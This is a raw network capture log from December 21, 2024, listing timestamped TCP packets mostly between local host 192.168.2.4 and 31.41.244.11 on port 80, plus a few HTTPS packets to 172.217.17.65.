Dec 21, 2024 18:16:35.099092960 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.099226952 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.099277973 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.100214958 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.100277901 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.100337029 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.100385904 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.101454020 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.101516008 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.101527929 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.101578951 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.102642059 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.102701902 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.102722883 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.102796078 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.103806019 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.103853941 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.103902102 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.103940010 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.105007887 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.105066061 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.105113029 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.105163097 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.106158972 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.106231928 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.106273890 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.106340885 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.107474089 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.107532024 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.107568979 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.107620955 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.108731985 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.108805895 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.108844995 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.108892918 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.110025883 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.110080004 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.110126972 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.110171080 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.111113071 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.111160994 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.111183882 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.111229897 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.112173080 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.112224102 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.112453938 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.112503052 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.113379002 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.113454103 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.113456964 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.113512993 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.114538908 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.114586115 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.114634037 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.114679098 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.115721941 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.115773916 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.115812063 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.115858078 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.116971016 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.117016077 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.117053986 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.117100000 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.118129015 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.118175030 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.118217945 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.118273020 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.119410038 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.119460106 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.119570971 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.119615078 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.120558977 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.120609045 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.120613098 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.120659113 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.121680975 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.121731043 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.121777058 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.121822119 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.122894049 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.122941971 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.122982979 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.123032093 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.124213934 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.124263048 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.124289989 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.124350071 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.125298023 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.125345945 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.125360966 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.125406981 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.126485109 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.126532078 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.126545906 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.126590967 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.127692938 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.127722979 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.127742052 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.127758026 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.128880978 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.128926039 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.128978014 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.129018068 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.130089045 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.130137920 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.130186081 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.130228996 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.131342888 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.131395102 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.131408930 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.131454945 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.132498980 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.132545948 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.132638931 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.132682085 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.133675098 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.133722067 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.133806944 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.133848906 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.134834051 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.134902000 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.134962082 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.135025978 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.136034012 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.136094093 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.136115074 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.136158943 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.137376070 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.137423992 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.137473106 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.137516975 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.138659000 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.138705969 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.138742924 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.138787031 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.139667988 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.139719009 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.139851093 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.139897108 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.140785933 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.140834093 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.140923977 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.140970945 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.142010927 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.142059088 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.142096043 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.142141104 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.143177986 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.143243074 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.143281937 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.143333912 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.144396067 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.144444942 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.144562960 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.144608021 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.145564079 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.145612001 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.145654917 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.145718098 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.146962881 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.147016048 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.147094011 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.147139072 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.148214102 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.148274899 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.148319006 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.148364067 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.149148941 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.149199963 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.149260998 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.149312019 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.150382996 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.150437117 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.150440931 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.150486946 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.151550055 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.151597977 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.151683092 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.151727915 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.152914047 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.152962923 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.152998924 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.153043985 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.205260992 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:35.205348969 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:35.208435059 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:35.208447933 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:35.208780050 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:35.208839893 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:35.209177017 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:35.251331091 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:35.283196926 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.283263922 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.283273935 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.283327103 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.283675909 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.283723116 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.283734083 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.283767939 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.284697056 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.284750938 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.284842014 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.284919977 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.285831928 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.285880089 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.285931110 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.285983086 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.287009001 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.287095070 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.287117004 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.287166119 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.288217068 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.288268089 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.288275003 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.288321018 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.289355040 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.289403915 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.289442062 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.289485931 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.290553093 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.290600061 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.290677071 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.290719986 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.291707039 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.291754961 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.291825056 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.291867971 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.293207884 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.293251991 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.293473005 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.293541908 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.294266939 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.294313908 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.294372082 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.294415951 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.295353889 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.295401096 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.295444012 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.295485020 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.296500921 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.296546936 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.296647072 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.296691895 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.297602892 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.297650099 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.297739029 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.297780991 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.298794985 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.298851013 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.298887014 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.298927069 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.300235033 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.300285101 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.300776005 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.300821066 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.301332951 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.301378965 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.301453114 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.301498890 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.302335024 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.302382946 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.302418947 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.302462101 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.303600073 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.303668022 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.303706884 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.303749084 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.304677963 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.304725885 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.304728985 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.304769993 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.305955887 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.306003094 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.306057930 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.306101084 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.307121992 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.307171106 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.307208061 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.307250023 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.308212996 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.308259964 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.308334112 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.308377028 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.309391022 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.309436083 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.309583902 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.309627056 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.310570002 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.310616970 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.310661077 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.310703993 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.311774969 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.311820030 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.311892986 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.311935902 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.313010931 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.313057899 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.313159943 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.313203096 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.314192057 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.314274073 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.314742088 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.314788103 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.315758944 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.315807104 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.315841913 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.315884113 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.316617012 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.316658020 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.316713095 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.316756964 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.317661047 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.317707062 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.317800045 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.317843914 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.318811893 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.318859100 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.318877935 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.318922043 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.320045948 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.320074081 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.320092916 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.320105076 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.321176052 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.321223021 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.321274996 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.321321964 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.322366953 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.322410107 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.322549105 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.322594881 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.323523998 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.323570013 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.323658943 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.323704958 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.324713945 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.324784994 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.324830055 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:35.324877977 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:35.325885057 CET	80	49826	31.41.244.11	192.168.2.4
